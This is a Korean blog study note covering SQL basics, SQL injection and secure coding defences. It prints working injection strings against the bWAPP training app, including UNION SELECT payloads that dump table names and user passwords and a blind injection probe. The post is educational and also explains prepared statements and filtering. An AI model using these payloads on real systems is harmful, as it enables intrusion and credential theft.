• DB(데이터베이스)
데이터베이스는 구조화된 데이터의 조직화된 모음으로 컴퓨터 시스템에 전자적으로 저장되며 DBMS에 의해 제어된 데이터는 일련의 테이블에서 행과 열로 구성되고 SQL은 대부분의 데이터베이스에서 데이터 작성 및 쿼리에 사용된다.
• SQL의 개념
SQL은 관계형 데이터베이스에서 사용되는 '구조적 질의 언어'로 데이터베이스의 구조와 데이터를 조작하는 데 사용된다.
- DDL(Data Definiton Language)
CREATE, ALTER, DROP
- DML(Data Manipulation Language)
SELECT, INSERT, UPDATE, DELETE
-DCL(Data Control Language)
GRANT, REVOKE
-TCL(Transaction Control Language)
COMMIT, ROLLBACK
- CREATE TABLE
테이블 생성 명령어 => CREATE TABLE table_name(Column_name type,...)
- ALTER TABLE
특정 데이블을 수정하는 명령어(ADD, MODIFY, DROP) => ALTER TABLE table_name ADD column_name type
- DROP TABLE
특정 테이블을 삭제하는 명령어 => DROP TABLE table_name
- UPDATE
특정 테이블에서 원하는 값을 수정하는 명령어 => UPDATE table_name SET Column_name = Value WHERE Condition
- INSERT / DELETE
특정 테이블에 원하는 값을 추가/삭제하는 명령어 => INSERT INTO table_name(Column_name,..) VALUES(Value,...)
=> DELETE FROM table_name WHERE Condition
- UNION
두 개의 SELECT 결과를 합치는 명령어(중복되는 결과는 하나만 표시됨)
=> SELECT Column_name FROM table_name UNION SELECT Column_name FROM table_name
- Subquery
하나의 SQL 문에 포함시킬 수 있는 또 다른 SQL
=> SELECT Column_name FROM table_name WHERE Condition (SELECT Column_name FROM table_name (WHERE Condition))
- ORDER BY
SELECT 결과를 오름차순/내림차순으로 정렬해 주는 명령어
=> SELECT Column_name FROM table_name (WHERE Condition) ORDER BY Column_name (ASC/DESC)
- MIN / MAX / COUNT / SUM / AVG
최소 / 최대 / 개수 / 합을 반환해 주는 함수 => SELECT MIN/MAX/COUNT/SUM/AVG(Column_name) FROM table_name
- AND / OR / NOT
조건문 부분에서 사용할 수 있는 논리 연산 => SELECT Column_name FROM table_name WHERE Condition AND/OR/NOT Condition
- IF
조건에 따라 값을 반환해 주는 함수 => SELECT IF(Condition, Value_if_TRUE, Value_if_FALSE)
• SQL Injection
악의적인 SQL 쿼리를 삽입하여 데이터베이스를 비롯한 백엔드 시스템을 공격하는 기법이다. 이를 통해 데이터 유출, 데이터 변조, 시스템 마비 등의 피해가 발생할 수 있다.
이러한 공격을 막기 위해 입력 값 검증, 준비된 문자 사용, 저수준 API 사용 등의 방어 메커니즘을 적용하는 것이 중요하다.
- UNION SELECT SQL
UNION SELECT를 사용하기 위해서는 앞쪽 SELECT문의 컬럼 수와 일치 시켜야 한다.
> 버전 정보, DB 이름 출력
' union select 1,@@version,database(),4,5,6,7#
> DB의 테이블 정보 출력
' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP'#
> 테이블 칼럼 정보 출력
' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#
> users 테이블의 id, password 정보 출력
' union select 1,login,password,4,5,6,7 from users#
- Blind SQL
입력한 쿼리문에 대한 에러 정보가 제대로 출력되지 않을 때 사용하는 방식이며, 참 / 거짓을 바탕으로 원하는 정보를 추출해 낼 수 있다.
> DB 이름 길이 출력
' or 1=1 and length(database()) = 숫자#
• Secure Coding
- Preared Statement
쿼리문을 사전에 정의하고 사용자 입력 값을 바인드 변수로 받아 처리하며, 바인드 변수로 들어온 값들은 쿼리문으로 인식하지 않아 SQL Injection을 방지할 수 있다.
- Whitelist 필터링
지정된 문자열을 제외한 값이 들어오면 필터링, 이와 반대로 지정된 문자열이 들어오면 Blacklist 필터링을 한다.
*Blacklist 필터링의 경우 개발자의 실수나 우회 기법등을 통해 SQL Injection이 발생할 수 있다.
'S-DEV > 웹 해킹 보안과 공격' 카테고리의 다른 글
Command Injection (0) | 2023.07.22 |
---|---|
XSS(Cross-Site Scripting) (0) | 2023.07.22 |
웹 해킹이란? (0) | 2023.07.21 |